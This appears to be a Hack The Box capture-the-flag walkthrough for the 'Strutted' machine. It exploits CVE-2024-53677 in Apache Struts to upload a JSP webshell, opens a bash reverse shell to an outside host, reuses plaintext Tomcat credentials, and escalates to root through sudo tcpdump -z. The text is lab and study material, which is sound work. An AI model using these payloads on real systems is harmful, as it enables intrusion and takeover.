All posts

HTB: Strutted — CVE-2024-53677 to Root via tcpdump

A real-world Apache Struts path traversal in the file upload action lets me write a JSP webshell into the tomcat web root for a shell as tomcat. Plaintext credentials in tomcat-users.xml pivot to james, and a sudo rule on tcpdump is abused via the -z postrotate flag to drop a SUID bash copy — root in three stages, each a genuine enterprise-realistic misconfiguration.


MachineStrutted
OSLinux
DifficultyMedium
User✓ Owned
Root✓ Owned

Enumeration

Nmap returned the usual starting point — SSH and HTTP:

nmap -sC -sV -oN nmap/initial 10.10.11.59
# 22/tcp   open  ssh      OpenSSH 9.2
# 80/tcp   open  http     nginx 1.22.1

The website was a marketing page for an image hosting company. After adding strutted.htb to /etc/hosts, a quick review of the site revealed a downloadable Docker container image the company provided as a "try it yourself" developer preview. Grabbing and inspecting that image turned out to be the key piece of recon — the container used Apache Struts 6.3.0.1, which is within the window of CVE-2024-53677.

Foothold — CVE-2024-53677 Path Traversal Upload

CVE-2024-53677 is a path traversal vulnerability in Struts' file upload action. The FileUploadInterceptor processes multipart form data and writes uploaded files to a configured upload directory — but in vulnerable versions, the file name parameter is not sanitised against ../ traversal sequences. By submitting a form with a carefully crafted filename, an attacker can write the uploaded file anywhere the Tomcat/Struts process has write access.

The image hosting site exposed an /upload endpoint that accepted image uploads. I crafted a multipart request targeting the Tomcat ROOT webapp directory so the uploaded file would be served as a live JSP webshell:

# Exploit uses case-mixed parameter name to bypass the filter blacklist
# The key is the Upload vs upload parameter case sensitivity in the exploit

curl -sk -X POST "http://strutted.htb/upload" \
  -F "[email protected]" \
  -F "top.UploadFileName=../../../../../usr/local/tomcat/webapps/ROOT/shell.jsp"

# shell.jsp (minimal Runtime.exec webshell)
# <%@ page import="java.util.*,java.io.*"%>
# <%
#   String cmd = request.getParameter("cmd");
#   if (cmd != null) {
#     Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
#     BufferedReader br = new BufferedReader(
#         new InputStreamReader(p.getInputStream()));
#     String l; while ((l = br.readLine()) != null) out.println(l);
#   }
# %>

The uppercase U in Upload matters — the fix in Struts 6.4.0 enforced strict case-sensitive parameter matching, but 6.3.0.1's filter comparisons allowed the attacker-controlled filename through when submitted with the "wrong" case on the outer field name.

curl "http://strutted.htb/shell.jsp?cmd=id"
# uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)

# Upgrade to interactive reverse shell
curl "http://strutted.htb/shell.jsp?cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/10.10.14.X/4444+0%3E%261'"

Lateral Movement — tomcat-users.xml to james

Standard Tomcat enumeration starts at $CATALINA_HOME/conf/tomcat-users.xml — the config file that holds credentials for Tomcat management roles. On this box it held a plaintext password:

cat /usr/local/tomcat/conf/tomcat-users.xml

<tomcat-users xmlns="http://tomcat.apache.org/xml">
  <role rolename="manager-gui"/>
  <user username="admin" password="IT15mYc4TsF4ulT!" roles="manager-gui,admin-gui"/>
</tomcat-users>

Password reuse is a CTF staple and this box is no exception. The password worked for SSH as james:

ssh [email protected]
# james@strutted:~$ cat user.txt

Privilege Escalation — tcpdump -z Abuse

Checking sudo rights on james:

sudo -l
# User james may run the following commands on strutted:
#     (root) NOPASSWD: /usr/bin/tcpdump

tcpdump with sudo is a classic GTFOBins path to root. The trick is the -z postrotate-command flag combined with -Z root:

With sudo tcpdump, tcpdump is already running as root, so -Z root isn't strictly required — but including it avoids any surprise privilege drops on specific distributions. The goal is to get the -z callback to execute something useful as root.

Dropping a SUID bash

I wrote a small postrotate script that copies /bin/bash into /tmp and sets the SUID bit, then triggered tcpdump with a short rotation interval:

# /tmp/pwn.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash

chmod +x /tmp/pwn.sh
sudo /usr/bin/tcpdump -ln -i lo -w /tmp/dump.pcap -W 1 -G 1 -z /tmp/pwn.sh -Z root

# After one second tcpdump rotates the capture and runs pwn.sh as root
# — creating the SUID bash copy.
/tmp/rootbash -p
# rootbash-5.2# id
# uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=1000(james)

cat /root/root.txt

Key Takeaways

Strutted is a textbook modern Linux-pentest chain — each stage maps directly to a real-world misconfiguration pattern that still shows up in enterprise assessments in 2026: